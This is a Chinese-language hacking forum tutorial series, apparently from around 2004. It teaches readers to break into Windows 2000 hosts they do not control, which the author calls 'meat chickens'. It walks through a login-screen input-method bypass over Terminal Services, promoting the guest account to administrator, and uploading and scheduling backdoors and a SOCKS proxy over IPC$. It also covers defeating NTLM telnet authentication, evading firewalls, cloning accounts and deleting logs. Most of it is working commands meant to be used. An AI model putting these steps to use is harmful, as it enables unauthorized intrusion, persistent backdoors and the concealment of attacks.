的屏幕会出现个对话框,写着谁引起的这次启动,离重起还有多少秒. B 一次不行可以再试一次,在实际中很有作用. C 在输入sysocmgr命令开始安装时,一定不要把命令参数输错,那会在对方出现一个大的对话框,是sysocmgr的帮助,很是显眼,
而且要求确定.在你的屏幕上是不会有任何反应的,你不会知道出错,所以会有B的建议.
好了以后你就想干什么就干什么了。不过有时候还真不知道干什么,总之得干个事,装个什么局域网控制软件,不过不要体积太大,容易被发现。
超强 C 语言代码,你有信心看懂吗?
刚刚说有输入法漏洞的机子很少了,但有些朋友担心还有怎么办,不是吃大亏了吗?这样我找了一篇写的不错的文章贴一下( 注意是转载)写的不错,据说是新写的,这位大哥也真闲啊
WIN2000中文简体版存在的输入法漏洞,可以使本地用户绕过身分验证机制进入系统内部。经实验,WIN2000中文简体版的终端服务,在远程操作时仍然存在这一漏洞,而且危害更大。
WIN2000的终端服务功能,能使系统管理员对WIN2000进行远程操作,采用的是图形界面,能使用户在远程控制计算机时功能与在本地使用一样,其默认端口为3389,用户只要装了WIN2000的客户端连接管理器就能与开启了该服务的计算机相联。因此这一漏洞使终端服务成为WIN2000的合法木马。
工具:客户端连接管理器,下载地址:自己找吧,天天有好几种呢。
入侵步骤:
一,获得管理员账号。
我们先对一个网段进行扫描,扫描端口设为3389,运行客户端连接管理器,将扫描到的任一地址加入到,设置好客户端连接管理器,然后与服务器连结。几秒钟后,屏幕上显示出WIN2000登录界面(如果发现是英文或繁体中文版,放弃,另换一个地址),用CTRL+SHIFT快速切换输入法,切换至全拼,这时在登录界面左下角将出现输入法状态条(如果没有出现,请耐心等待,因为对方的数据流传输还有一个过程)。用右键点击状态条上的微软徽标,弹出“帮助”(如果发现“帮助”呈灰色,放弃,因为对方很可能发现并已经补上了这个漏洞),打开“帮助”一栏中“操作指南”,在最上面的任务栏点击右键,会弹出一个菜单,打开“跳至URL”。此时将出现WIN2000的系统安装路径和要求我们填入的路径的空白栏。比如,该系统安装在C盘上,就在空白栏中填入"c:\winnt\system32"。然后按“确定”,于是我们就成功地绕过了身份验证,进入了系统的SYSTEM32目录。
现在我们要获得一个账号,成为系统的合法用户。在该目录下找到"net.exe",为"net.exe"创建一个快捷方式,右键点击该快捷方式,在“属性”->“目标”->c:\winnt\system32\net.exe后面空一格,填入"user guest /active :yes"点“确定”。这一步骤目的在于用net.exe激活被禁止使用的guest账户,当然也可以利用"user 用户名 密码/add",创建一个新账号,但容易引起网管怀疑。运行该快捷方式,此时你不会看到运行状态,但guest用户已被激活。然后又修改该快捷方式,填入"user guest 密码",运行,于是guest便有了密码。最后,再次修改,填入“localgroup administrators guest /add,将guest变成系统管理员。
注意事项:1、在这过程中,如果对方管理员正在使用终端服务管理器,他将看到你所打开的进程id,你的ip和机器名,甚至能够给你发送消息。
2、终端服务器在验证你的身份的时候只留给了你一分钟的时间,在这一分钟内如果你不能完成上述操作,你只能再连结。
3、你所看到的图像与操作会有所延迟,这受网速的影响。
二,创建跳板。
再次登录终端用务器,以"guest"身份进入,此时guest已是系统管理员,已具备一切可执行权。打开“控制面板”,进入“网络和拔号连接”,在“本地连接”或“拔号连接”中查看属性,看对方是否选择“Microsoft 网络的文件和打印机共享”,如果没有,就打上勾。对方如果使用的是拔号上网,下次拔号网络共享才会打开。
退出对方系统,在本地机命令提示符下,输入
net use \\IP Address\IPC$ ["password"] /user:"guset",通过IPC的远程登陆就成功了。
登陆成功之后先复制一个Telnet的程序上去(小榕流光安装目录下的Tools目录里的Srv.exe,另外,还有ntml.xex,一会要用),这个程序是在对方上面开一个Telnet服务,端口是99。
copy c:\hack\srv.exe \\***.***.***.***\admin$
然后利用定时服务启动它,先了解对方的时间:
net time \\***.***.***.***
显示:
\\***.***.***.*** 的当前时间是 2001/1/8 下午 08:55
命令成功完成。
然后启动srv.exe:
at \\***.***.***.*** 09:00 srv.exe
显示:
新加了一项作业,其作业 ID = 0
过几分钟后,telnet ***.***.***.*** 99
这里不需要验证身份,直接登录,显示:
c:\winnt:\system32>
我们就成功登陆上去了。然后又在本地打开命令提示符,另开一个窗口,输入:
copy c:\hack\ntlm.exe \\211.21.193.202\admin$
把事先存放在hack目录里的ntlm.exe拷过去。然后又回到刚才的telnet窗口,运行ntlm.exe
C:\WINNT\system32>ntlm
显示:
Windows 2000 Telnet Dump, by Assassin, All Rights Reserved.
Done!
C:\WINNT\system32>
C:\WINNT\system32>
好,现在我们来启动WIN2000本身的telnet,首先终止srv.exe的telnet服务:
net stop telnet 系统告诉你并没有启动telnet,不理它,继续:
net start telnet 这次真的启动了telnet,我们可以在另开的命令提示符窗口telnet到对方的
23端口,验证身份,输入我们的guest账号和密码,它就真正成为我们的跳板了。我们可以利用它到其它的主机去。
三、扫除脚印:
删除为net.exe 创建的快捷方式,删除winnt\system32\logfiles下边的日志文件
[第5天]从简单的网络命令讲起
昨天的帖子发表后,很多朋友问了很多问题,我发现很多朋友对基本的网络命令还很生疏,请你看这个帖子,里面讲的很详细的http://www.91one.net/dvbbs/dispbbs.asp?b...=14&ID=403
有个朋友问了我个问题:端口映射是什么意思??
其实很简单的,采用端口映射(Port Mapping)的方法,可以实现从Internet到局域网内部机器的特定端口服务的访问。例如,你所使用的机子处于一个连接到Internet的局域网内,你在机子上所开的所有服务(如FTP),默认情况下外界是访问不了的。这是因为你机子的IP是局域网内部IP,而外界能访问的只有你所连接的服务器的IP,由于整个局域网在Internet上只有一个真正的IP地址,而这个IP地址是属于局域网中服务器独有的。所以,外部的Internet登录时只可以找到局域网中的服务器,那你提供的服务当然是不起作用的。
所以解决这个问题的方法就是采用PM了。
有篇文章不错。大家看看:http://www.pconline.com.cn/pcedu/soft/la...27157.html
继续讲,昨天有人说我找到个肉鸡,但不会用远程控制软件。先说用什么好呢
我推荐Remote Administrator,有篇介绍它的文章很好:http://www.pcworld.com.cn/2002/back_issu.../0533e.asp
下载:http://www.skycn.com/soft/15592.html
我想里面的说明你应该能很好理解的
现在我以一个例子来说一下怎么获得一个肉鸡,虽然前面一直在说,但好象有点乱的,下面说的这个有点投机取巧的感觉,至少我这样觉得,不过因为很多朋友说都5天了,我什么都没搞到啊,所以只能。。
第一步:扫描弱口令
这里我用20cn开发的scanipc (这http://down.yqdown.com/xdown/yqdown0316/scanipc.rar有下的)
不一会就会扫到很多有弱口令的主机
(你可以拿你们学校的IP试试)
这里我用opentelnet(远程启动TELNET的小东西,这里下:http://www.infosw.com/down/software.asp?id=1520)给扫描到开了空口令的主机开个端口让我们telnet连接上去
,开了23端口,并可以连接上的主机就不用进行次步骤了!
Opentelnet使用方法:
OpenTelnet.exe \\server <帐号> <密码> <NTLM认证方式> <Telnet端口>
列如:
C:\>OpenTelnet.exe \\192.168.1.2 administrator 123456 1 90 用户名:administrator 密码:123456
NTLM认证方式:1(也可以选择0请自己测试) 开的端口:90
运行完,如果屏幕上出现 Disconnecting server...Successfully! 就说明已经成功。
这样,我们就能够得到一个开90端口的Telnet服务器了。
Telnet 192.168.1.2 90
这样就可以登录上去了。
第三步:配置并安装后门程序
这里我选择WinShell(小巧精干我喜欢下载:http://www.hktk.com/soft/soft_server/winshell.html),用winshell主程序设置好后门,然后把后门程序传到台FTP空间上!
列如:
c:\>ftp
ftp>openwww.cnwill.com
然后输入用户名字 密码把后门传上去mput c:\cnwill.exe
现在我们登陆到肉鸡上 Telnet 192.168.1.2 90
把刚上传的后门程序下载并运行(别忘记删除 后门程序)
『后门也可以用net命令完成』
net user \\192.168.1.2 90\ipc$ "" /user:"administrator"
[ 建 立 IPC$ 连 接 ]
copy d:\zilong.exe \\192.168.1.2 90\admin$\system32
[ 上 传 一 个 后 门 程 序 到 对 方 的 主 机 里]
copy d:\long.exe \\192.168.1.2 90\admin$\system32
[上 传 一 个 删 除 日 志 程 序 到 对 方 的 主 机 里]
copy d:\scoks.exe \\192.168.1.2 90\admin$\system32
[ 上 传 一 个 SCOKS 代 理 程 序 到 对 方 的 主 机 里]
copy d:\zilong.reg \\192.168.1.2 90\admin$\system32
[上 传 导 入 注 册 表的 REG 文 件 到 对 方 的 主 机 里]请看后门说明
net time \\192.168.1.2 90
[ 得 到 对 方 主 机 的 当 前 时 间]
at \\192.168.1.2 90 13:20 zilong.exe
[用 a t命 令 执 行 我 们 的 后 门 程 序] 别 把 时 间 搞 错 了 哦
==============
如果大家用不习惯命令的话,那就用流光的IPC种植者吧,简单易用.这里就不赘述啦
=============
telnet 192.168.1.2 90
[ 从 我 们 设 置 的 后 门 程 序 登 陆 主 机 ]
net user **** /add
[近来后添加一个用户名再说或者也可以选择激活guest]
net localgroup administrators **** /add
[ 把 自 己 添 加 到 管 理 组 里,这 样 我 们 就 是 超 级 管 理 员 了]
regedit /s c:\winnt\system32\zilong.reg
[ 把 后 门 程 序 导 入 注 册 表 的 启 动 项]这样做是防止被别人停止我们
的后门服务程序,就算我们的后门服务程序被停止了,在主机重启动后我们的后门
服务就又继续运行了.
SOCKS -install
[ 开 始 安 装 socks 代 理]
SCOKS -config starttype 2
[ 使 SOCKS 代 理 程 序 自 动 运 行,不 怕 肉 鸡 再 重 启 了]
socks -config port 1080
[ socks 代 理 端 口 设 置 为 1080 ]
net start skserver
[ 启 动 SOCKS 代 理 服 务 ]可以打开QQ设置IP代理了
long
[ 刚 才 上 传 的 一 个 删 除 日 志 程 序,运 行 它 就 可 以 了]
[第6天]从telnet讲起
前几天我说到过telnet,好象很多朋友不太明白,也不会用,我想这主要是因为你的命令掌握不太牢*啊,我今天就把telnet详细讲一遍,再说一些简单的网络相关命令
先说telnet,什么是telnet?Telnet服务虽然也属于客户机/服务器模型的服务,但它更大的意义在于实现了基于Telnet协议的远程登录(远程交互式计算),那么什么是远程登录?
我想这个大家都明白一点,定义:远程登陆是指用户使用Telnet命令,使自己的计算机暂时成为远程主机的一个仿真终端的过程。仿真终端等效于一个非智能的机器,它只负责把用户输入的每个字符传递给主机,再将主机输出的每个信息回显在屏幕上。
使用Telnet协议进行远程登陆时需要满足以下条件:在本的计算机上必须装有包含Telnet协议的客户程序;必须知道远程主机的Ip地址或域名;必须知道登录标识与口令。
Telnet远程登录服务分为以下4个过程:
1)本地与远程主机建立连接。该过程实际上是建立一个TCP连接,用户必须知道远程主机的Ip地址或域名;
2)将本地终端上输入的用户名和口令及以后输入的任何命令或字符以NVT(Net Virtual Terminal)格式传送到远程主机。该过程实际上是从本地主机向远程主机发送一个IP数据报;
3)将远程主机输出的NVT格式的数据转化为本地所接受的格式送回本地终端,包括输入命令回显和命令执行结果;
4)最后,本地终端对远程主机进行撤消连接。该过程是撤销一个TCP连接。
再说一下什么叫Telnet协议?简单点说Telnet协议是TCP/IP协议族中的一员,是Internet远程登陆服务的标准协议。应用Telnet协议能够把本地用户所使用的计算机变成远程主机系统的一个终端。它提供了三种基本服务:
1)Telnet定义一个网络虚拟终端为远的系统提供一个标准接口。客户机程序不必详细了解远的系统,他们只需构造使用标准接口的程序;
2)Telnet包括一个允许客户机和服务器协商选项的机制,而且它还提供一组标准选项;
3)Telnet对称处理连接的两端,即Telnet不强迫客户机从键盘输入,也不强迫客户机在屏幕上显示输出。
关于这个就说这么多了,至于其他的一些就不说了,因为没什么帮助对我门,如果你有兴趣,可以去本站查查相关资料
再说说Win2000的Telnet服务,因为大部分服务器用的都是2000的
Win2000为我们提供了Telnet客户机和服务器程序:Telnet.exe是客户机程序(Client),tlntsvr.exe是服务器程序(server),同时它还为我们提供了Telnet服务器管理程序tlntadmn.exe。 其实从应用层面上,Win2000的Telnet服务并没有什么可说的,绝大部分内容你都可以从HELP文件中得到,我在此只是把它稍微整理一下而已.Windows 2000 默认安装了 Telnet 服务,但是并没有默认启动。下面给出HELP文件中 Telnet 服务的一部分默认设置:
AllowTrustedDomain:是否允许域用户访问。默认值是1,允许信任域用户访问。可以改为0: 不允许域用户访问(只允许本地用户)。
DefaultDomain:可以对与该计算机具有信任关系的任何域设置。默认值是"."。
DefaultShell:显示 shell 安装的路径位置。默认值是: %systemroot%\System32\Cmd.exe /q /k
MaxFailedLogins:在连接终止之前显示尝试登录失败的最大次数。默认是3。
LoginScript:显示 Telnet 服务器登录脚本的路径位置。默认的位置就是“%systemroot%\System32\login.cmd”,你可以更改脚本内容,这样登录进Telnet的欢迎屏幕就不一样了。
NTLM:NTLM身份验证选项。默认是2。可以有下面这些值:
0: 不使用 NTLM 身份验证。
1: 先尝试 NTLM 身份验证,如果失败,再使用用户名和密码。
2: 只使用 NTLM 身份验证。
TelnetPort:显示 telnet 服务器侦听 telnet 请求的端口。默认是:23。你也可以更改为其他端口。
以上各项设置你可以使用tlntadmn.exe(Telnet服务器管理程序)来进行非常方便的配置,配置后需要重新启动Telnet服务。如图1
2 NTLM
提到了telnet就不能不提NTLM,我想这也是让入侵者最为头痛的一件事,哪怕你获得了管理员帐号和密码,想简单通过NTLM也并非易事,况且win2000中的telnet默认仅以NTLM方式验证身份,这就让我们不得不关注NTLM这个东东,那么什么是NTLM呢?
早期的SMB协议在网络上明文传输口令,后来出现了"LAN Manager Challenge/Response"验证机制,简称LM,它十分简单以至很容易被破解,微软随后提出了WindowsNT挑战/响应验证机制,即NTLM。现在已经有了更新的NTLMv2以及Kerberos验证体系。NTLM工作流程是这样的:
1、客户端首先在本地加密当前用户的密码成为密码散列
2、客户端向服务器发送自己的帐号,这个帐号是没有经过加密的,明文直接传输
3、服务器产生一个16位的随机数字发送给客户端,作为一个 challenge(挑战)
4、客户端再用加密后的密码散列来加密这个 challenge ,然后把这个返回给服务器。作为 response(响应)
5、服务器把用户名、给客户端的challenge 、客户端返回的 response 这三个东西,发送域控制器
6、域控制器用这个用户名在 SAM密码管理库中找到这个用户的密码散列,然后使用这个密码散列来加密 challenge。
7、域控制器比较两次加密的 challenge ,如果一样,那么认证成功。
从上面的过程我们可以看出,NTLM是以当前用户的身份向Telnet服务器发送登录请求的,而不是用你扫到的对方管理员的帐户和密码登录,显然,你的登录将会失败。举个例子来说,你家的机器名为A(本地机器),你入侵的机器名为B(远地机器),你在A上的帐户是xinxin,密码是1234,你扫到B的管理员帐号是Administrator,密码是5678,当你想Telnet到B时,NTLM将自动以当前用户的帐号和密码作为登录的凭据来进行上面的7项操作,即用xinxin和1234,而并非用你扫到的Administrator和5678,且这些都是自动完成的,根本不给你插手的机会,因此你的登录操作将失败。
由于Telnet服务器对NTLM的使用有3个选项,所以当你Telnet远地机器时,会显示下面情况中的一种:
1)身份验证选项=0时
=====================================
Microsoft ® Windows Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login:
password:
\\为0时不使用NTML身份验证,直接输入用户名和密码,比如你可以输入扫到的Administrator和5678
2)身份验证选项=1时
=====================================
NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password
Microsoft ® Windows Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login:
password:
\\先尝试 NTLM 身份验证,如果失败,再使用用户名和密码,其实这种方式对于我们来说,与上一种方式没什么区别
3)身份验证选项=2时
=====================================
NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password
Server allows NTLM authentication only
Server has closed connection
遗失对主机的连接。
C:\>
\\仔细看看上面的显示,根本没有给你输入用户名和密码的机会,直接断开连接,扫到了密码也是白扫
所以对于入侵者来说,NTLM是横在我们面前的一座大山,必须要除掉它,一般我们有如下几种方法:
1通过修改远程注册表更改telnet服务器配置,将验证方式从2改为1或0;
2使用NTLM.exe,上传后直接运行,可将telnet服务器验证方式从2改为1;
3在本地建立扫描到的用户,以此用户身份开启telnet客户机并进行远程登录;
4使用软件,比如opentelnet.exe(需要管理员权限且开启IPC管道)
5使用脚本,如RTCS,(需要管理员权限但不依赖IPC管道)
基本上是以上的5种,其中后两种是我们比较常用的开telnet的手法,而且使用方法十分简单,命令如下:
OpenTelnet.exe \\server username password NTLMAuthor telnetport
OpenTelnet.exe \\服务器地址 管理员用户名 密码 验证方式(填0或1) telnet端口
cscript RTCS.vbe targetIP username password NTLMAuthor telnetport
cscript RTCS.vbe <目标IP> <管理员用户名> <密码> <验证方式> <tlnet端口>
那telnet上去后不知道该做什么了?很多朋友这样问了,我想如果你是从第1天看的,应该知道吧,我就再说说吧
1 查看系统信息
呵呵,其实就是随处看看,看看他的系统配置和版本(用type c:\boot.ini来知道pro版或server版),看看都装了什么服务或软件(从目录名就可以知道了),看看有什么重要或有趣的文件啦(唉,要是国外的机器,看也看不懂),看看他的用户情况,总之就是尽可能多的了解系统,为一会装后门摸底。
2 使用tftp传送文件
想必大家都遇到过在telnet中传输文件的问题,因为我们习惯了在ipc管道中的文件传输,所以有些朋友喜欢用net share ipc$ 来打开管道,进而利用copy来传输文件。不过这样反而麻烦,既然我们已经得到了shell(这个前面已经很详细的说过了)们可以用TFPT命令来完成这一切,什么是TFTP呢?
用TFTP(Trivial File Transfer Protocol)来实现文件的传送是一种基于UDP连接的文件传输,一般是使用Windows自带的tftp.exe和一个TFTP服务器端软件构成一个完整的传输结构。它是这样使用的: 首先运行本地的TFTP Server(比如tftpd32.exe)软件并保证始终开启直至传输全部完成, 然后在telnet中(当然你也可以在其他shell中)运行下面的命令:
C:\>tftp –i ip get xinxin.exe c:\abc\xinxin.exe
其中ip为你自己机器的ip,且上传文件要与TFTP服务器端在同一目录下,这样你就可以把xinxin.exe上传到c盘abc目录下了(其实是从tftp服务器下载来的)
需要指出的是,如果使用代理IP,你将不能实现与外部网络的文件传送。因为你的代理网关在进行数据封装的时候会将自己的IP地址加入到你的数据报中,代替你的内部网络地址,所以在外部网络进行MAC寻址时是找不到你这台TFTP服务器的。
3 安置后门
如果你入侵还有其他目的,比如以破坏为主,或者是来修改主页的,那么这些事情当然可以在安置后门之前做;如果你只是想得到一只肉鸡,那就没什么可说的了,安后门吧
这个问题我在前面有讲过一点,但不详细.用的后门一般有:木马,asp木马,远程控制软件,克隆帐户,建立并隐藏帐户,telnet,telnet扩展的shell,终端服务等。安置一个好的后门通常要注意以下几点:(这是一个前辈写的我copy一下,很中肯的)
1 不会被防火墙查杀及阻碍通信:被加入病毒库的后门最好加壳以逃过防火墙,尽量用低端口通信,以免被防火墙屏蔽。
2 最大限度增加隐蔽性:如果你选择远程控制软件,要注意被控端的安装提示和小图标,以及是否同步画面;如果你在帐户上做文章,要尽量保持在cmd和用户管理中都不出破绽;如果你选择放木马或telnet扩展,要注意文件和进程的隐藏;如果新开了终端服务(入侵前并没有开),一定要该掉3389这个显眼的端口,且越低越好。
不要当管理员不存在:这是一个大忌,许多朋友在只有默认帐户的机器上建立类似'hacking'的管理员帐户,真是无知者无畏呀。所以安置后门的时候,想想管理员疏忽的地方会在哪里。
4 打补丁
如果想独霸肉鸡,就要会打补丁,要知道对肉鸡的竞争是很激烈的。怎么打补丁呢?这个也要问?想想你是怎么进来的吧。算了,提示一下,除了修补大的漏洞以外(上传官方补丁并运行),也要注意它的共享,ipc$共享(最好都关闭),可疑端口,容易被利用的服务等。不过打补丁也要注意隐蔽性的,不要让管理员发现大的改动。
5 清除日志
可以手动或利用软件,如果不太会就去找相关教材吧,在这里我不详细介绍了。(上一篇我讲过一点)
好了,基本上就这么多了,今天就到这了,希望能给大家一些帮助
[第7天]继续讲,从克隆帐号 讲起
前2天基本的一些东西都讲过了,今天我觉得得把克隆帐号这个问题讲清楚了
什么叫克隆帐号 ?
前辈说:在注册表中有两处保存了帐号的SID相对标志符,一处是SAM\Domains\Account \Users下的子键名,另一处是该子键的子项F的值中。这里微软犯了个不同步它们的错误,登陆时用的是后者,查询时用前者。当用admin的F项覆盖其他帐号的F项后,就造成了帐号是管理员权限但查询还是原来状态的情况 。即所谓的克隆帐号。(我想这个很明白的,如果还有这个问题,你去网络技术版块问吧)
说到克垄帐号就得说说SAM安全帐号管理器,详细的我就不重复了,因为呢多前辈写了很多很棒的文章,大家有兴趣就看看:http://www.91one.net/dvbbs/dispbbs.asp?b...17&id=1427
明白原理后就可以手动或者用现成的工具克隆帐号,用什么呢?
克隆ca.exe 下载(找了许久 啊)http://www.hejie.net/xz/list.asp?id=926
注意手动克隆需要SYSTEM权限(这句话大家应该能明白吧)
用什么呢?psu.exe
还是很棒的,下载:http://www.sometips.com/soft/psu.exe
[第8天]从回答一个朋友的问题说起
有个朋友发了短信给我问怎么判断对方主机的操作系统呢?今天我们就先说说这个问题。我先从最简单的PING看主机操作系统说起
一、用ping来识别操作系统
C:\>ping 10.1.1.2
Pinging 10.1.1.2 with 32 bytes of data:
Reply from 10.1.1.2: bytes=32 time<10ms TTL=128
Reply from 10.1.1.2: bytes=32 time<10ms TTL=128
Reply from 10.1.1.2: bytes=32 time<10ms TTL=128
Reply from 10.1.1.2: bytes=32 time<10ms TTL=128
Ping statistics for 10.1.1.2:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
C:\>
C:\>ping 10.1.1.6
Pinging 10.1.1.6 with 32 bytes of data:
Request timed out.
Reply from 10.1.1.6: bytes=32 time=250ms TTL=237
Reply from 10.1.1.6: bytes=32 time=234ms TTL=237
Reply from 10.1.1.6: bytes=32 time=234ms TTL=237
何谓“黑客”
黑客是英文“HACKER”的音译。动词原形为“HACK”,意为“劈”、“砍”。英文词典是这样解释黑客行为:未经授权进入一个计算机的存储系统,如数据库。中文译成“黑客”贬义比英文原义似乎略重,有“未经允许”等不合法的含义。另一种说法是,HACK是本世纪早期麻省理工学院俚语,有“恶作剧”之意,尤其指手法巧妙,技术高明的恶作剧,并且带有反既有体制的色彩。
四代黑客铸就了网络
有人说,美国人创造了黑客,如同他们创造了牛仔。
本世纪60至70年代,一群大学计算机系教室里的知识分子利用“分时系统”技术把计算机主机变成了事实上的个人计算机,从而使更多的人有机会接触到计算机。这些人就是第一代黑客。当时做一名计算机黑客是一件很荣耀的事,它意味着对电脑的全身心的投入,虽然可能被外人视为疯狂之举。
70年代后期,第二代黑客领头人是大名鼎鼎的史蒂夫。乔布斯、史蒂夫、伍兹尼亚克和费尔森斯坦,发明并产生了个人计算机。他们都是非学术界的,属铁杆反文化的类型。作为坚定的反文化分子,他们使计算机王国的老大IBM颜面尽失。
80年代初出现的第三代黑客,为个人计算机设计了各种应用教育和娱乐程序。特别是米彻·凯普发明的LOTUS1 1-2-3电子报表程序促成了IBM PC的成功。
第四代黑客出现在80年代中期。他们发明了包罗万象的电子公告牌(BBS)和自由平等的以非层级方式连接的USENET,并且将美国国防部的阿帕网(ARPANET)改造成了今天的互联网络。
黑客的“道德准则”
互联网现在有上千万用户,平均年龄为30岁。很多人深信,就像个人计算机改变了80年代一样,互联网将改变90年代。
“想真正成为黑客,你必须真枪实弹去做黑客应该做的事情。”这是黑客的宣言,并且广告天下,他们声称:不要将你已破解的任何信息与人分享,除非此人绝对可以信赖。不在家庭电话中谈论你HACK的任何事情。当你发送相关信息的BBS时,对你当前所做的黑事尽可能说得含糊一些,以避免BBS受到警告。将你的黑客资料放在安全的地方。在BBS上POST文章的时候不要使用真名和真实的电话号码。如果你黑了某个系统,绝对不要留下任何蛛丝马迹。
显然,一些所谓的道德准则是需要打上一个引号的。但也确实有一些是较为人称道的。如:不要侵入或破坏政府机关的主机;不恶意破坏任何系统;不破化别人的软件或资料……
一切信息都应该是免费的
“一切信息都应该是免费的”。黑客们也有自己的伦理原则。他们深信,任何一个人都能在计算机上创造艺术与美,计算机能够使生活变得更美好。
黑客最重要的信条是不相信权威当局,提倡依*自己。他们把美国已故肯尼迪的话,“不要问你的国家能为你做些什么,要问你能为国家做些什么”改成了“不要问你的国家能为你做些什么,你自己做”。因此,他们中大多数人一改过去学术界蔑视商界的传统,半途辍学支办自己的公司。他们认为信息应该是免费的信息创造了“免费软件”和“共享软件”的概念,使得每个需要这些软件的人都可以得到它们。
坚持“三项基本原则”
国外《PHRACK》杂志被认为是黑客的“官方”新闻通讯,它把黑客的思想扩展成一些基本原则,被概括为一些基本原则。主要内容为“因为设备的高代价超出了大多数黑客的财力,它在感觉上造成的结果是,劈和砍是把计算机知识传给大众的唯一办法”。黑客们坚决反对“权利”只属于那些有权进入和使用现代技术的群体。
基于上述的分析来看,要认识黑客的确不是一件容易的事。不过我们似乎已经明白,黑客不应该总在贬义上被使用。而是应该记住雨果、康沃尔在《黑客手册》一书说的话:“黑客活动的乐趣和报偿纯粹是智力上的”,他们“不过沿袭了一个长期的历史传统,人类社会中,总有那么一批人对机器和技术着迷,他们使用技术时抱着一种嬉戏的态度,以观察会有什么结果发生”。
还有我希望提醒大家严格遵守守则,另外中国的法律在健全,请不要随意做破坏网络的事
『第2天』从端口说起
早上起的很早,就开始忙了,我想昨天讲了一些命令后今天就从端口说起吧
从网上抄了一份详细的端口意义:
http://www.91one.net/dvbbs/dispbbs.asp?b...=17&id=770
有些端口是比较重要的比如135,137,138,139,445之类,那我扫描到的端口到底有什么用?我想你肯定要问,这样今天,我就用一个真实的扫描向你讲述扫到的端口的用途。
被扫的主机:192.***.xx.x
主机IP数:4
发现的安全漏洞:7个
安全弱点:45个
系统: Standard: Solaris 2.x, Linux 2.1.???, Linux 2.2, MacOS
Telnet (23/tcp)
ssh (22/tcp)
ftp (21/tcp) (发现安全漏洞)
netstat (15/tcp)
daytime (13/tcp)
systat (11/tcp)
echo (7/tcp)
time (37/tcp)
smtp (25/tcp)
www (80/tcp) (发现安全漏洞)
finger (79/tcp)
auth (113/tcp)
sunrpc (111/tcp)
pop-2 (109/tcp)
linuxconf (98/tcp)
imap2 (143/tcp)
printer (515/tcp)
shell (514/tcp)
login (513/tcp)
exec (512/tcp)
unknown (693/tcp)
unknown (698/tcp)
unknown (727/tcp)
swat (910/tcp)
unknown (1025/tcp)
unknown (1039/tcp)
unknown (1038/tcp)
unknown (1037/tcp)
unknown (1035/tcp)
unknown (1034/tcp)
unknown (3001/tcp)
unknown (6000/tcp)
echo (7/udp)
general/tcp
daytime (13/udp)
unknown (728/udp) (发现安全漏洞)
unknown (2049/udp)
unknown (681/udp)
unknown (2049/tcp)(发现安全漏洞)
可用telnet登录的端口 (23/tcp)
这个信息表明远程登录服务正在运行,在这里你可以远程登录到该主机,这种不用密码的远程登录服务是危险的,如果可以匿名登录,任何人可以在服务器和客户端之间发送数据。
发现的可攻击弱点 (21/tcp)
我在那里发现了一个目录是可写的:
/incoming
ftp端口 (21/tcp)
ftp服务TELNET服务一样,是可以匿名登录的,而且在有的机器上它还允许你执行远程命令,比如CWD ~XXXX,如果你能CWD ROOT成功,那你就可以获得最高权限了,不过这样的好事好像不多。另外,有时还能用它获得一个可用的帐号(guest),或得知主机在运行什么系统
13/tcP(daytime)
从这里可以得知服务器在全天候运行,这样就有助于一个入侵者有足够的时间获取该主机运行的系统,再加上udp也在全天候的运行,这样可以使入侵者通过UDP欺骗达到主机拒绝服务的目的
ECHO(7/tcp)
这个端口现在没什么用处,但它可能成为一个问题的来源,顺着它有可能找到其它端口以达到拒绝服务的目的。
(25/tcp)smtp端口
该端口开放邮件传输协议
回应可执行EXPN和VRFY命令
EXPN可以发现发送邮件的名称或者能找到一个完整的邮件接收人的名称。
VRFY命令可以用来检测一个帐号的合法性
我们可以试着发这样一个类型的邮件给它:
user@hostname1@victim
我们会收到一个这样的邮件:
user@hostname1
也许我们就能用它穿过防火墙
WWW(80/TCP)端口
它表明WWW服务在该端口运行
finger (79/tcp) 端口
finger服务对入侵者来说是一个非常有用的信息,从它可以获得用户信息,查看机器的运行情况等
auth (113/tcp)
ident服务披露给入侵者的将是较敏感的信息,从它可以得知哪个帐号运行的是什么样的服务,这将有助于入侵者集中精力去获取最有用的帐号(也就是哪些人拥有ROOT权限)
(98/tcp) LINUX在这个端口上运行
(513/tcp) RLOGIN在这个端口上运行
这种服务形同于TELNET,任何人可以在它的引导下在客户端和服务端之间传送数据。
exec (512/tcp)
rexecd在该端口开放,该服务使一个破译者有机会从它那里扫描到另外一个IP,或者利用它穿过防火墙。
也许你还能发现很多端口,不同的端口会有不同的作用
我最喜欢开135端口的,我们学校的几个FTP和主机都开了135端口,还用默认密码(不知道是为什么,我想主要是管理员考虑我们找不到肉鸡了『都2004年了,肉鸡很难找的,因为各位大侠都用着呢』,所以特地给我们准备好了),把我高兴的几天都没睡好,可惜里面没什么东西。只能当空间用着了。不过我们学校的主机大都用的是UNIX的,不是瘟二钱的,所以也让人有点郁闷啊,UNIX有点复杂,我只得从0学,还有点难,我会在后面讲到的,现在我们主要是关注WIN2000操作系统的主机了,说到这不能不提一下WIN2K源代码的泄漏,兄弟我在第一时间拿到了这个泄漏的源代码,有230M,还真多,看了一个晚上,也不怎么了解,反正有的是时间,先贴一段,大家瞧瞧,有看懂的,就不用来这看这了,呵呵
贴在网络技术里了
至于软件方面我喜欢用流光(有些人或许不知道这是什么),是扫描器,很好用,是国产的,就是前面访问的小容做的,但他在里面设置了限制不许PING国内的主机,但好多大哥早就破掉了(感觉很幸福啊,不用自己破了),现在的最高版本好像是流光5.0吧,到GOOGLE 上搜一下就能找到N个,我就不说了(要提高动手能力嘛)
下面我来介绍几种常见的扫描器:
一。NSS(网络安全扫描器)
NSS由Perl语言编成,它最根本的价值在于它的速度,它运行速度非常快,它可以执行下列常规检查:
■Sendmail
■匿名FTP
■NFS出口
■TFTP
■Hosts.equiv
■Xhost
注:除非你拥有最高特权,否则NSS不允许你执行Hosts.equiv。
利用NSS,用户可以增加更强大的功能,其中包括:
■AppleTalk扫描
■Novell扫描
■LAN管理员扫描
■可扫描子网
简单地说,NSS执行的进程包括:
■取得指定域的列表或报告,该域原本不存在这类列表
■用Ping命令确定指定主机是否是活性的
■扫描目标主机的端口
■报告指定地址的漏洞
尽管没有详尽讨论NSS,但我在这里要说明一些次要的问题:
